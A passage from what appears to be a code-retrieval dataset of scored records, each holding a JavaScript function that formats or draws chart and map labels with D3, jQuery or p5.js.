plotVar.append('g')\n .append('text')\n .attr('x', width - 100)\n .attr('y', height - 0)\n .attr('dy', -14)\n .text(uniqueText)\n .attr('class', 'obsText '+ obsClass)\n .raise();\n}", "title": "" }, { "docid": "d28700c2700f9194aa6f4dda4b45c280", "score": "0.57019955", "text": "function _makeLabel (n) {\n if (Array.isArray(n)) return _arrayToVec(n);\n if (typeof n === 'object') return 'fa_' + (n._id);\n else return n.toFixed(6);\n}", "title": "" }, { "docid": "ad7ef854db851ff585f343c0d7334d09", "score": "0.5676499", "text": "function yLabelPosFormatter(y) {\n if (isNaN(y)) { return 'n/a'; }\n y = Math.round(y);\n return y === 0 ? 'P1' : 'P' + -y;\n }", "title": "" }, { "docid": "8ec7d87122990ce23ad90832e58a642d", "score": "0.5675075", "text": "function update_particle_label(n){\n d3.select(\"#num_parts\").attr(\"value\",n);\n d3.select(\"#num_parts_value\").text(n);\n}", "title": "" }, { "docid": "098f4a8b90a65a468b352373bc6a68a3", "score": "0.5672424", "text": "function makeLabels(restaurant) {\n svgLineGraph.append('text')\n .attr('x', 90)\n .attr('y', 20)\n .style('font-size', '14pt')\n .text(\"Number of \" + restaurant + \" Added Over Time\");\n\n svgLineGraph.append('text')\n .attr('x', 250)\n .attr('y', 500)\n .style('font-size', '10pt')\n .text('Year');\n\n svgLineGraph.append('text')\n .attr('transform', 'translate(15, 300)rotate(-90)')\n .style('font-size', '10pt')\n .text('Number of ' + restaurant);\n }", "title": "" }, { "docid": "45637ef015576873bcfa23159d1f437a", "score": "0.56639934", "text": "function printNormandaleQCLabels() {\n\n\t\tvar loc = \"/HaasReports/report/printSeagateLabel.do?pr_receipts_ids=\"\n\t\t\t\t+ $v('receiptId');\n\t\topenWinGeneric(loc, \"PrintSeagateLabel\", \"800\", \"600\", \"yes\", \"50\",\n\t\t\t\t\"50\", \"20\", \"20\", \"yes\");\n\treturn;\n}", "title": "" }, { "docid": "1388692b94f7978516fedac025355898", "score": "0.563483", "text": "function setLabel(props){\n\t\t//label content\n\t\tvar labelAttribute = \"<h1>\" + props[expressed] +\n\t\t\t\"</h1><b>\" + expressed + \"</b>\";\n\n\t\t//create info label div\n\t\tvar infolabel = d3.select(\"body\")\n\t\t\t.append(\"div\")\n\t\t\t.attr(\"class\", \"infolabel\")\n\t\t\t.attr(\"id\", props.County + \"_label\")\n\t\t\t.html(labelAttribute);\n\n\t\tvar countyName = infolabel.append(\"div\")\n\t\t\t.attr(\"class\", \"labelname\")\n\t\t\t.html(props.COUNTY);\n\t}", "title": "" }, { "docid": "d563d547b3ed640d925d4854126d7628", "score": "0.56346107", "text": "function Y(e){return e+\"%\"}", "title": "" }, { "docid": "0ad1702239633ce8a9acf91fa3f05082", "score": "0.5610731", "text": "function updateLabels(data)\n{\n\tdocument.getElementById(\"peopleIn\").innerHTML = data[data.length-1].peoplein;\n\tdocument.getElementById(\"peopleOut\").innerHTML = -data[data.length-1].peopleout;\n\tdocument.getElementById(\"currentNumber\").innerHTML = data[data.length-1].total;\n\tdocument.getElementById(\"totalIn\").innerHTML = data[data.length-1].totalin;\n}", "title": "" }, { "docid": "11d586f353a70081baba6e2c848f4700", "score": "0.5591299", "text": "function getLargestLabel() {\n return formatData(-88000000000, 1);\n}", "title": "" }, { "docid": "21112e47f2f5fb6fe9a9399bb6c1e711", "score": "0.55874133", "text": "function renderLabelText(number) {\n let total = number > 1000 ? Math.floor(number/1000): number;\n return `${(total>999 && number > 1000) ?Math.floor(total/1000) : total}${(number > 1000 ? (total>999 ? \"M\": \"K\"): \"\")}`;\n }", "title": "" }, { "docid": "d0dbb443f9b8a42407c0d1880401948c", "score": "0.55852896", "text": "function labelFormatter(label, series) {\r\n return \"<div style='font-size:8pt; text-align:center; padding:2px; color:white;'>\" + label + \"<br/>\" + Math.round(series.percent) + \"%</div>\";\r\n}", "title": "" }, { "docid": "12794e9e853c7cc25afd271c07037812", "score": "0.5583994", "text": "valueLabel(value) {\n\n if (value == null) return '';\n\n return Math.round(value,0).toLocaleString('it');\n }", "title": "" }, { "docid": "3710c42da53ae6368ad9c5a08ee6c88b", "score": "0.5583195", "text": "function initLabelInfo() {\n var _labelID = 0;\n\n sampleSize = 0;\n label.length = 0;\n\n $('#' + DIV.chartDiv + '>svg>g>g').each(function(){\n var _labelDatum = {},\n _labelText = $(this).find('title').text(),\n _labelName = \"\",\n _labelValue = 0,\n _color = $(this).find('path').attr('fill'),\n _pointsInfo = $(this).find('path').attr('d').split(/[\\s,MLHVCSQTAZ]/);\n\n _labelName = _labelText.substring(0, _labelText.lastIndexOf(\":\"));\n _labelValue = _labelText.substring(_labelText.lastIndexOf(\":\")+1);\n _labelValue = Number(_labelValue.trim());\n\n if(_pointsInfo.length >= 10){\n\n var _x1 = Number( _pointsInfo[1] ),\n _y1 = Number( _pointsInfo[2] ),\n _x2 = Number( _pointsInfo[8] ),\n _y2 = Number( _pointsInfo[9] );\n\n if(Math.abs(_x1 - _x2) > 0.01 || Math.abs(_y1 - _y2) > 0.01){\n _labelDatum.id = _labelID;\n _labelDatum.name = _labelName;\n _labelDatum.color = _color;\n _labelDatum.parentID = DIV.chartDiv;\n _labelDatum.value = _labelValue;\n sampleSize += _labelValue;\n\n if(maxLabelValue < _labelValue) {\n maxLabelValue = _labelValue;\n }\n label.push(_labelDatum);\n }\n _labelID++;\n }else{\n StudyViewUtil.echoWarningMessg(\"Initial Label Error\");\n }\n });\n\n label.sort(function(a, b) {\n var _a = Number(a.value),\n _b = Number(b.value);\n\n if(_a < _b) {\n return 1;\n }else {\n return -1;\n }\n });\n //if(['RACE', 'GENDER', 'OS_STATUS', 'MOLECULAR_SUBTYPE'].indexOf(selectedAttr) !== -1) {\n // console.log(label);\n //}\n }", "title": "" }, { "docid": "ded45632f3c275956bda5825d72fc4e0", "score": "0.55808204", "text": "function label_updateDisplay() {\n place_labels\n .attr(\"x\", function(d) { return d.x; })\n .attr(\"y\", function(d) { return d.y-10; });\n info_lines\n .attr(\"x2\", function (d,i) {\n var label_i_x = d3.select(\"#place_label_\"+i).attr(\"x\");\n return label_i_x;\n })\n .attr(\"y2\", function (d,i) {\n var label_i_y = d3.select(\"#place_label_\"+i).attr(\"y\");\n return label_i_y;\n }); \n }", "title": "" }, { "docid": "d41a7720e2ddcfe82518f34a30dbbb9e", "score": "0.55695844", "text": "function setLabel(props, name){\n var labelAttribute = \"<h1>\" + props[expressed];// +\n //+ \"</h1><b>\" + expressed + \"</b>\";\n\n //create info label div\n var infolabel = d3.select(\"body\")\n .append(\"div\")\n .attr(\"class\", \"infolabel w3-card\")\n .attr(\"id\", name + \"_label\")\n .html(labelAttribute);\n\n var neighborhoodName = infolabel.append(\"div\")\n .attr(\"class\", \"labelname\")\n .html(name);\n }", "title": "" }, { "docid": "f5dfc45c1ed923334a8c399f92bab7b8", "score": "0.5563873", "text": "labelCurrentTrack() {\n\t\tlet labl = 'empty';\n\t\tif (this.trks[tpos].usedInstruments.length === 1) {\n\t\t\tif (this.trks[tpos].hasPercussion) {\n\t\t\t\tlabl = 'Percussion';\n\t\t\t} else {\n\t\t\t\tlabl = getInstrumentLabel(this.trks[tpos].usedInstruments[0]);\n\t\t\t}\n\t\t} else if (this.trks[tpos].usedInstruments.length > 1) {\n\t\t\tlabl = 'Mixed Track';\n\t\t}\n\t\tthis.trks[tpos].label = `${labl} ${this.getLabelNumber(labl)}`;\n\t}", "title": "" }, { "docid": "a3af5630fc23abae6f43246cf5019010", "score": "0.55613357", "text": "function generateLabel(myCongestionProject) {\r\n var total_funding = formatCurrency(myCongestionProject.total_funding_amount);\r\n var federal_funding = formatCurrency(myCongestionProject.fed_funding_amount);\r\n \r\n var label = myCongestionProject.principal_place_cc + \"<br>\" + myCongestionProject.project_description + \"<br>\" + \"Federal Funding $\" + federal_funding + \" out of $\" + total_funding + \" total\";\r\n \r\n return label;\r\n}", "title": "" }, { "docid": "1af3169efc4fabf676babfe0ec8f1b81", "score": "0.5551647", "text": "get labelFormat() {\n return this.i.dk;\n }", "title": "" }, { "docid": "6355e8f82d878f9f26a2417aadb1434b", "score": "0.55505323", "text": "function updateLabels(data)\n{\n\tif (data.length != 0) {\n\tdocument.getElementById(\"currentNumber\").innerHTML = data[data.length-1].total;\n\t/*document.getElementById(\"currentNumber\").innerHTML = data[data.length-1];*/\n\tdocument.getElementById(\"totalIn\").innerHTML = data[data.length-1].totalin;\n\t}\n}", "title": "" }, { "docid": "e7132fe940edbe13cbed05edda5e05cf", "score": "0.5547029", "text": "function itemTotNominal () {\n var tot1=tot2=tot3=0;\n $('.itemNominal1').each(function() {\n tot1+=getCurr($(this).val());\n });\n $('.itemNominal2').each(function() {\n tot2+=getCurr($(this).val());\n });\n $('.itemNominal3').each(function() {\n tot3+=getCurr($(this).val());\n });\n $('#totNominal1TD').html('Rp. '+tot1.setCurr());\n $('#totNominal2TD').html('Rp. '+tot2.setCurr());\n $('#totNominal3TD').html('Rp. '+tot3.setCurr());\n }", "title": "" }, { "docid": "6459ef6acb6f92059b5a3cb41eb5c10e", "score": "0.55468494", "text": "function setLabel(props){\n //label content\n var labelAttribute = \"<h1>\" + props[expressed] +\n \"</h1><b>\" + expressed + \"</b>\";\n\n //create info label div\n var infolabel = d3.select(\"body\")\n .append(\"div\")\n .attr(\"class\", \"infolabel\")\n .attr(\"id\", props.name + \"_label\")\n .html(labelAttribute);\n\n var regionName = infolabel.append(\"div\")\n .attr(\"class\", \"labelname\")\n .html(props.name);\n}", "title": "" }, { "docid": "614f28367387cd59aca0c4ac775b0575", "score": "0.5546737", "text": "function setLabel(props){\n //label content\n if (props[expressed]>0){\n var labelAttribute = \"<h2>\" + props[expressed] +\n \"</h2><br><b>\" + attrName[expressed] + \"</b>\";\n }else{\n var labelAttribute = \"<h2>\"+\"No Data\"+\"</h2><br><b>\"+attrName[expressed]+\"</b>\";\n };\n\n //create info label div\n var infolabel = d3.select(\"body\")\n .append(\"div\")\n .attr(\"class\", \"infolabel\")\n .attr(\"id\", props.JURISDIC + \"_label\")\n .html(labelAttribute);\n\n var countyName = infolabel.append(\"div\")\n .attr(\"class\", \"labelname\")\n .html(props.JURISDIC_2);\n console.log(countyName);\n }", "title": "" }, { "docid": "2007fb8ff86dd6728dbe83b74abea285", "score": "0.55465704", "text": "drawLabel(){\n //Get data\n let data = legData.getRow(this.legNum);\n let num = this.legNum + 1;\n let dist = data.get(\"dist\");\n let climb = data.get(\"climb_total\");\n\n //Create string\n let infoString = LEG_LABEL + str(num) + \"\\n\"\n + DIST_LABEL + str(dist) + MI_LABEL + \"\\n\"\n + CLIMB_LABEL + str(climb) + FT_LABEL + \"\\n\"\n + DIFF_LABEL + str(data.get(\"difficulty\"));\n\n //Calc position\n let infoX = this.x + (this.width/2);\n let infoY;\n\n if(climb < CLIMB_THRESH){\n textAlign(CENTER, BOTTOM);\n infoY = GROUND_HEIGHT - this.height - ABOVE_TEXT_BUFF;\n }else{\n textAlign(CENTER, CENTER);\n infoY = GROUND_HEIGHT - (this.height/3);\n }\n\n //Draw text\n textSize(LABEL_FONT_SIZE);\n fill(\"black\");\n text(infoString, infoX, infoY);\n }", "title": "" }, { "docid": "ffa4d70c80cfb56aaebc770f08c27b9e", "score": "0.5528072", "text": "function labelFormatter(label, series) {\n return \"<div style='font-size:8pt; text-align:center; padding:2px; color:white;'>\" + label + \"<br/>\" + Math.round(series.percent) + \"%</div>\";\n}", "title": "" }, { "docid": "85ddd08ad084e8e4291fa16c87b219fb", "score": "0.5522162", "text": "function show_total_no_of_suicides(ndx) {\n let total_no_of_suicides = ndx.groupAll().reduceSum(dc.pluck('suicides_100k'));\n\n dc.numberDisplay(\"#suicides-figure\")\n .group(total_no_of_suicides)\n .formatNumber(d3.format(\"d\"))\n .valueAccessor(function(d) {\n return d;\n });\n}", "title": "" }, { "docid": "bc4c87e26094e27de46bf2cc529db8ed", "score": "0.54821116", "text": "drawStats(){\n\n fill(255);\n text(\"coins: \" + this.coinsCollected, 800, 100);\n text(\"sanity: \" + Math.ceil(this.sanity / 450 * 100) + \" %\", 800, 120);\n }", "title": "" }, { "docid": "1d8f47b58f3f5a093af7ef029961adf0", "score": "0.5480681", "text": "function itemTotNominal () {\n var tot3=0;\n $('.itemNominal3').each(function() {\n tot3+=getCurr($(this).val());\n });\n $('#totNominal3TD').html('Rp. '+tot3.setCurr());\n }", "title": "" }, { "docid": "296266a53d39166a3702ea06404982b8", "score": "0.5469087", "text": "function getYAxisLabel(selectorValue) {\n if (selectorValue == \"GDP\") {\n return \"GDP ($ per capita)\";\n }\n else if (selectorValue == \"Population\") {\n return \"Population\";\n }\n else if (selectorValue == \"area\") {\n return \"Area (sq. mi.)\";\n }\n else if (selectorValue == \"popDensity\") {\n return \"Pop. Density (per sq. mi.)\";\n }\n else if (selectorValue == \"netMigration\") {\n return \"Net migration\";\n }\n else if (selectorValue == \"phones\") {\n return \"Phones (per 1000)\"\n }\n else if (selectorValue == \"Birthrate\") {\n return \"Birthrate\";\n }\n else if (selectorValue == \"Deathrate\") {\n return \"Deathrate\";\n }\n else if (selectorValue == \"Agriculture\") {\n return \"Agriculture\";\n }\n else if (selectorValue == \"Industry\") {\n return \"Industry\";\n }\n else if (selectorValue == \"literacy\") {\n return \"Literacy%\";\n }\n}", "title": "" }, { "docid": "b461f1b8702d97d2810c153760504760", "score": "0.5461612", "text": "function pointText()\n\t{\n\t\tvar finalText = that.isFinal ? 'Final ' : '';\n\t\treturn finalText + that.label + ': ' +\n\t\t\t\tMath.round(that.current) +\n\t\t\t\t' / ' +\n\t\t\t\tMath.round(that.maximum);\n\t}", "title": "" }, { "docid": "cfda1aed44ca8c7e7ae508885cff4f2f", "score": "0.5458119", "text": "function displayInsulaLabels(){\n\t\tvar i;\n\t\tvar insulaId;\n\t\tvar insulaCenterCoordinates;\n\t\tvar shortInsulaName;\n\t\tfor(i=0;i<insulaGroupIdsList.length;i++){\n\t\t\tinsulaId=insulaGroupIdsList[i];\n\t\t\tinsulaCenterCoordinates=insulaCentersDict[insulaId];\n\t\t\tshortInsulaName=insulaShortNamesDict[insulaId];\n\t\t\t//insulaCenterCoordinates= adjustInsulaCenters(shortInsulaName, insulaCenterCoordinates);\n\t\t\tif(insulaCenterCoordinates!=null){\n\t\t\t\tshowALabelOnMap(insulaCenterCoordinates,shortInsulaName, \"small\", \"insula\");\n\t\t\t}\n\t\t}\n\t}", "title": "" }, { "docid": "62b1b180e5120b608583dfd11066887d", "score": "0.5454946", "text": "function update_labels(){\n \n // Choose a heading based off the selection\n if (!brush.empty()){\n text_data.select(\"#label_heading\").text(\"Statistics for the selected ensemble:\").classed(\"grouped\",true);\n }else {\n text_data.select(\"#label_heading\").text(\"Statistics for the complete ensemble:\").classed(\"grouped\",false);\n }\n \n // Incorporate the current labels\n text_data.select(\"#label_density\").text(\"Density: \" + density().toFixed(2));\n text_data.select(\"#label_temperature\").text(\"Temperature: \" + temperature().toFixed(2));\n text_data.select(\"#label_velocity\").text(\"Root Mean Square Velocity: \" + Math.sqrt(2*temperature()).toFixed(2));\n}", "title": "" }, { "docid": "fe7654ac4c20f952d3c299db4abb54b8", "score": "0.54541975", "text": "labeled() {\n return getLabels(this.grid);\n }", "title": "" }, { "docid": "8b557d0ad111264985ad93884a9c9a8a", "score": "0.5442756", "text": "function labelFn (label) {\n return 'y = ' + label;\n }", "title": "" }, { "docid": "65014972b1186d72412f3d7beecb1bc4", "score": "0.5442603", "text": "function gh(t,e,i,n,a,o,r){var s=i.getModel(\"label\"),l=i.getModel(\"emphasis.label\");wa(t,e,s,l,{labelFetcher:a,labelDataIndex:o,defaultText:qc(a.getData(),o),isRectText:!0,autoColor:n}),hh(t),hh(e)}", "title": "" }, { "docid": "b016c0e03bd67eb404f291632f42db6c", "score": "0.5441274", "text": "function seasonLabel(todaysShow){\n var seasonName = \"(\";\n if (todaysShow.season < 10){\n seasonName += \"S0\" + todaysShow.season;\n }\n else {\n seasonName += \"S\" +todaysShow.season;\n }\n\n if (todaysShow.episode < 10){\n seasonName += \"E0\" + todaysShow.episode;\n }\n else {\n seasonName += \"E\" + todaysShow.episode;\n }\n\n seasonName += \")\";\n return seasonName;\n\n}", "title": "" }, { "docid": "376a1661b8e6e93c2f1739bc7e3a947b", "score": "0.5438833", "text": "function yLabelMPHFormatter(y) {\n return isNaN(y) ? 'n/a' : y.toFixed(2)+' MPH';\n }", "title": "" }, { "docid": "22dd01e0e94727625d369c5f0335e373", "score": "0.5438517", "text": "function show_label_count(hash_count) {\n\tif('undefined' != typeof hash_count) { return hash_count; }\n\telse { return 0; }\n}", "title": "" }, { "docid": "483a795b86b181e4d8ca9c2bc7c57462", "score": "0.54330665", "text": "valueLabel(value) {\n\n if (value == null) return '';\n\n return '€ ' + value.toFixed(0);\n\n }", "title": "" }, { "docid": "4645b686211da5ffa090ebaa872ede97", "score": "0.54252344", "text": "function ratioFormatter(value, row, index) {\n if(isBlank(value)) {\n return 0 + ' %';\n } else {\n return numberWithCommas(value) + ' %';\n }\n}", "title": "" }, { "docid": "53dc7536d28b57f494ed6df68dde3e2c", "score": "0.54200333", "text": "function getAreaLabel(area, crs) {\n var sqm = crs && crs.to_meter ? area * crs.to_meter * crs.to_meter : area;\n var sqkm = sqm / 1e6;\n return sqkm < 0.01 ? Math.round(sqm) + ' sqm' : sqkm + ' sqkm';\n}", "title": "" }, { "docid": "b07bf7d74f441d2492c22c8f2046b156", "score": "0.5411059", "text": "drawChromosomeLabels() {\n var ideo = this;\n\n var chromosomeLabelClass = ideo._layout.getChromosomeLabelClass();\n\n var chrSetLabelXPosition = ideo._layout.getChromosomeSetLabelXPosition();\n var chrSetLabelTranslate = ideo._layout.getChromosomeSetLabelTranslate();\n\n // Append chromosomes set's labels\n d3.selectAll(ideo.selector + ' .chromosome-set-container')\n .append('text')\n .data(ideo.chromosomesArray)\n .attr('class', 'chromosome-set-label ' + chromosomeLabelClass)\n .attr('transform', chrSetLabelTranslate)\n .attr('x', chrSetLabelXPosition)\n .attr('y', function(d, i) {\n return ideo._layout.getChromosomeSetLabelYPosition(i);\n })\n .attr('text-anchor', ideo._layout.getChromosomeSetLabelAnchor())\n .each(function(d, i) {\n // Get label lines\n var lines;\n if (d.name.indexOf(' ') === -1) {\n lines = [d.name];\n } else {\n lines = d.name.match(/^(.*)\\s+([^\\s]+)$/).slice(1).reverse();\n }\n\n if (\n 'sex' in ideo.config &&\n ideo.config.ploidy === 2 &&\n i === ideo.sexChromosomes.index\n ) {\n if (ideo.config.sex === 'male') {\n lines = ['XY'];\n } else {\n lines = ['XX'];\n }\n }\n\n // Render label lines\n d3.select(this).selectAll('tspan')\n .data(lines)\n .enter()\n .append('tspan')\n .attr('dy', function(d, i) {\n return i * -1.2 + 'em';\n })\n .attr('x', ideo._layout.getChromosomeSetLabelXPosition())\n .attr('class', function(a, i) {\n var fullLabels = ideo.config.fullChromosomeLabels;\n return i === 1 && fullLabels ? 'italic' : null;\n }).text(String);\n });\n\n var setLabelTranslate = ideo._layout.getChromosomeSetLabelTranslate();\n\n // Append chromosomes labels\n d3.selectAll(ideo.selector + ' .chromosome-set-container')\n .each(function(a, chrSetNumber) {\n d3.select(this).selectAll('.chromosome')\n .append('text')\n .attr('class', 'chrLabel')\n .attr('transform', setLabelTranslate)\n .attr('x', function(d, i) {\n return ideo._layout.getChromosomeLabelXPosition(i);\n }).attr('y', function(d, i) {\n return ideo._layout.getChromosomeLabelYPosition(i);\n }).text(function(d, chrNumber) {\n return ideo._ploidy.getAncestor(chrSetNumber, chrNumber);\n }).attr('text-anchor', 'middle');\n });\n }", "title": "" }, { "docid": "2d069509af35cb0ec503e93a5c776ab1", "score": "0.5410223", "text": "get resolvedSummaryLabel() {\n return this.i.ky;\n }", "title": "" }, { "docid": "5f030c937871ca1d6286f0daa0fd2fa7", "score": "0.54069054", "text": "function vis(num) {\n return (100 - num) / 2;\n }", "title": "" }, { "docid": "2458c96cde8775bccc58b8e847c2da6c", "score": "0.5398476", "text": "function drawDALabel() {\n\t\t\t\t\t\tcenter.selectAll('text.DA-label').remove();\n\t\t\t\t\t\tlet DANodesLabel = center.selectAll('text.DA-label')\n\t\t\t\t\t\t\t.data(DAdata).enter().append('text').attr('class', 'DA-label')\n\t\t\t\t\t\t\t.attr('x', d => d.x).attr('y', d => d.y)\n\t\t\t\t\t\t\t.attr('text-anchor', d=>Math.cos(d.theta)>0?'start':'end')\n\t\t\t\t\t\t\t.attr('dominat-baseline', d=>Math.sin(d.theta)<0?'baseline':'hanging')\n\t\t\t\t\t\t\t.attr('dx', d => Math.cos(d.theta) * 3)\n\t\t\t\t\t\t\t.attr('dy', d=>Math.sin(d.theta)<0?Math.sin(d.theta)*(15):Math.sin(d.theta)*(15)+ 10)\n\t\t\t\t\t\t\t.text(d => d.name)\n\t\t\t\t\t\t\t.attr('font-size', '12pt');\t\t\t\t\t\n\t\t\t\t\t}//end of function drawDALabel", "title": "" }, { "docid": "a87d3678feca1f91c1cf082e4b0e1e0e", "score": "0.5390467", "text": "function displayYear(year) {\n //dex.console.log(\"key='\" + key + \"', interpolateData(\" + year + \")=\",\n // interpolateData(year));\n circles.data(interpolateData(year), function (d) {\n return d.name;\n }).call(position);//.sort(order);\n label.text(Math.round(year));\n }", "title": "" }, { "docid": "03f03f395037a8fcbbda0b7465b16bbe", "score": "0.53864", "text": "function labelFormatter(label, series) {\n return \"<div style='font-size:13px; text-align:center; padding:2px; color: #fff; font-weight: 600;'>\" + label + \"<br/>\" + Math.round(series.percent) + \"%</div>\";\n }", "title": "" }, { "docid": "411c5b582f15bfb183d05268f709933d", "score": "0.53803647", "text": "function buildLevelsLabels() {\n for (var level = 0; level < config.levels; level++) {\n var levelFactor = vis.radius * ((level + 1) / config.levels);\n\n // build level-labels\n vis.levels\n .data([1]).enter()\n .append(\"svg:text\").classed(\"level-labels\", true)\n .text((config.maxValue * (level + 1) / config.levels).toFixed(2))\n .attr(\"x\", function(d) { return levelFactor * (1 - Math.sin(0)); })\n .attr(\"y\", function(d) { return levelFactor * (1 - Math.cos(0)); })\n .attr(\"transform\", \"translate(\" + (config.w / 2 - levelFactor + 5) + \", \" + (config.h / 2 - levelFactor) + \")\")\n .attr(\"fill\", \"gray\")\n .attr(\"font-family\", \"sans-serif\")\n .attr(\"font-size\", 10 * config.labelScale + \"px\");\n }\n }", "title": "" }, { "docid": "37a283a41edac7d63b90131b0fec3fa3", "score": "0.53784245", "text": "function labelFormatter(label, series) {\n return \"<div style='font-size:8pt; text-align:center; padding:2px;color:white'>\" + label + \"<br/>\" + Math.round(series.percent) + \"%</div>\";\n }", "title": "" }, { "docid": "2729c4e29b7c8812e9ae45fe04ac129b", "score": "0.53704876", "text": "get othersLabelFormat() {\r\n return this.i.cc;\r\n }", "title": "" }, { "docid": "38fc0625ba1d27118fc86429ef79e662", "score": "0.53671575", "text": "get classification() {\n\t\tconst t = this.new_a + this.new_c;\n\t\tconst d11 = (this.new_c/2 * this.new_f) - (this.new_e/2 * this.new_e/2);\n\t\tconst d22 = (this.new_a * this.new_f) - (this.new_d/2 * this.new_d/2);\n\t\tconst d33 = (this.new_a * this.new_c) - (this.new_b/2 * this.new_b/2);\n\t\t\n\t\tconst det = math.det(math.matrix(\n\t\t\t[[this.new_a , this.new_b / 2, this.new_d / 2],\n\t\t\t [this.new_b / 2, this.new_c , this.new_e / 2],\n\t\t\t [this.new_d / 2, this.new_e / 2, this.new_f ]]\n\t\t));\n\n\t\tif (d33 > 0)\n\t\t\tif (det != 0)\n\t\t\t\tif (t * det > 0) return \"void\";\n\t\t\t\telse if(this.new_a === this.new_c) return \"circle\";\n\t\t\t\telse return \"ellipse\";\n\t\t\telse return \"point\";\n\t\telse if (d33 < 0)\n\t\t\tif (det != 0) return \"hyperbole\";\n\t\t\telse return \"competing_lines\";\n\t\telse if (det != 0) return \"parable\";\n\t\telse if (d11 + d22 == 0) return \"line\";\n\t\telse if(d11 + d22 > 0) return \"void\";\n\t\telse if (this.new_a == 0 && this.new_b/2 == 0 && this.new_c == 0) return \"line\";\n\t\telse return \"paralel_lines\";\n\t}", "title": "" }, { "docid": "ea4326f6fcd1ddc469592f41f725d3d6", "score": "0.53626436", "text": "function importance_text(value) {\n if(value>=importance_levels.length*10)\n return importance_levels[0];\n if(value<=0)\n return importance_levels[importance_levels.length-1];\n\n return importance_levels[importance_levels.length-Math.round((value+5)/10.0)];\n}", "title": "" }, { "docid": "9f499dcfbd90a12d9660411ce6352754", "score": "0.53615063", "text": "get labelsPosition() {\r\n return this.i.an;\r\n }", "title": "" }, { "docid": "329f5ca3e06e9d58c322ab23b75098b3", "score": "0.5359432", "text": "function setLabelPosition() {\r\n if (document.getElementById(\"rb1\").checked) {\r\n chart.labelRadius = 30;\r\n chart.labelText = \"[[title]]: [[value]]\";\r\n } else {\r\n chart.labelRadius = -30;\r\n chart.labelText = \"[[percents]]%\";\r\n }\r\n chart.validateNow();\r\n }", "title": "" }, { "docid": "54a59a17d182d978ad134a7a86e65400", "score": "0.5355307", "text": "function getImportCount(d){\n\n if ((d[0][7]) == 1) {\n return (d[0][7]) + \" head\";\n } else if ((d[0][7]) > 1) {\n \treturn d3.format(\",\")(d[0][7]) + \" heads\";\n } else {\n return \"None\";\n }\n }", "title": "" }, { "docid": "d284c21c5d25b3f9b997eaf6634b4ae6", "score": "0.5348954", "text": "function drawMagnitudeLabels(){\n fill(128);\n // we increase i by the interval, which are the sections\n for (var i=0; i<=magnitudeMax; i+=magnitudeInterval){\n noStroke();\n textSize(8);\n textAlign(RIGHT, CENTER);\n\n // map y to the plotting surface\n var y = map(i, magnitudeMin, magnitudeMax, y_bot, y_top);\n\n // write value\n text(floor(i), x_left-10, y);\n\n // add visual tick mark\n stroke(128);\n strokeWeight(1);\n line(x_left-4, y, x_left-1, y);\n }\n}", "title": "" }, { "docid": "20c7625209eb4ee6d4afccd9feb0157f", "score": "0.5342786", "text": "function getRadialLabels(passedData) {\t\r\n\tvar groupedData = _.groupBy(passedData, 'Day');\r\n\tfor (var k in groupedData) radial_labels.push(k);\r\n}", "title": "" }, { "docid": "2ac2382028c3704d2cea6c614a54f285", "score": "0.53386086", "text": "function displayCount() {\n if (marks.length > 0) {\n var num = cur + 1;\n } else {\n var num = 0;\n }\n setInfoSpanText(num + \" of \" + marks.length + \" matches.\");\n displayInfoSpan();\n}", "title": "" }, { "docid": "3d7821a968de455448f7513acab503e3", "score": "0.53377354", "text": "_getChartLabel(){\n switch (this.props.currentChart.chartParam) {\n case CHART_PARAMS.PREASURE.LABEL:\n return CHART_PARAMS.PREASURE.NAME;\n case CHART_PARAMS.HUMIDITY.LABEL:\n return CHART_PARAMS.HUMIDITY.NAME;\n case CHART_PARAMS.WIND_SPEED.LABEL:\n return CHART_PARAMS.WIND_SPEED.NAME;\n case CHART_PARAMS.TEMPERATURE.LABEL:\n return CHART_PARAMS.TEMPERATURE.NAME;\n }\n }", "title": "" }, { "docid": "4d37e1dd05ac78a7ded659a7fd9a0ec7", "score": "0.5329841", "text": "static get whiteLargeLabel() {}", "title": "" }, { "docid": "229f8b1e981b5d79d5898b7b1ed6c0a5", "score": "0.5323461", "text": "addLabelFromKey() {\n let { data, labelFromKey } = this.props;\n return data.map((d) => {\n d.label = `$${ (d[labelFromKey] / 1000).toPrecision(3) }k`\n })\n }", "title": "" }, { "docid": "5727ab2a8e96232d700a6ab670ebca44", "score": "0.53214127", "text": "function displayPartyResults(){\n partyResults.forEach(party => {\n var percentage = 100 / subjects.length * party.points;\n if (percentage > 100){\n var percentage = 100 / subjects.length * party.points / 2;\n }\n var p = percentage.toFixed(0);\n partijen.innerHTML+=party.name + \" \" + p + \"%\" + \"</br>\"; \n });\n}", "title": "" }, { "docid": "822d7bdb4f69c2de7c42c4c72b330947", "score": "0.53099954", "text": "function makeLabels() {\n svgContainer.append('text')\n .attr('x', 135)\n .attr('y', 40)\n .style('font-size', '14pt')\n .text(\"Fertility vs Life Expectancy (1980)\");\n\n svgContainer.append('text')\n .attr('x', 230)\n .attr('y', 490)\n .style('font-size', '10pt')\n .text('Fertility');\n\n svgContainer.append('text')\n .attr('transform', 'translate(15, 300)rotate(-90)')\n .style('font-size', '10pt')\n .text('Life Expectancy');\n }", "title": "" }, { "docid": "7c8f1fe596804ec73825057f182e32ba", "score": "0.5308994", "text": "function changeText(state) {\n var recordsLost = 0;\n for (var i = 0; i < state.length; i++) {\n recordsLost += state[i].Total_Records;\n }\n\n return data[active_index].State + \" - Records Exposed: \" + d3.format(\",\")(Math.floor(recordsLost)) + \" - Breaches: \" + state.length\n }", "title": "" }, { "docid": "3384537e67097eb3916640218d424cfc", "score": "0.5306407", "text": "function text_percent(x) {\n return \"\" + (x*100).toFixed(0);\n}", "title": "" }, { "docid": "efca8caedbceecc8630e0e30f3089f5a", "score": "0.5303644", "text": "function setLabelY(key,width,height){\n\n\t\tif(state == \"percent\"){\n\t\t\tif(key == \"male\"){\n\t\t\t\treturn scales[state].y(.55)\n\t\t\t}else{\n\t\t\t\treturn scales[state].y(.05)\n\t\t\t}\n\t\t}\n\t\tvar d = xToD(.9*width,genderData)\n\n\t\tk = key+\"_count\"\n\n\t\tconsole.log(k,d[k])\n\n\t\tif(key == \"male\"){\n\t\t\treturn scales[state].y((d[\"female_\"+state]+d[k]/2))\n\t\t} else {\n\t\t\treturn scales[state].y((d[k]/2))\n\t\t}\n\t}", "title": "" }, { "docid": "df53f2ee6b8cc3d79ece3eeb5c5192f2", "score": "0.5302392", "text": "function gainNutrientsPerSecond(){\n nutrients += nutrientsPerSecond/10;\n updateLabels();\n}", "title": "" }, { "docid": "2bd648aace4b9becb008784f51516520", "score": "0.5292272", "text": "function displayNumbers(){\n fill(0);\n strokeWeight(0.5);\n 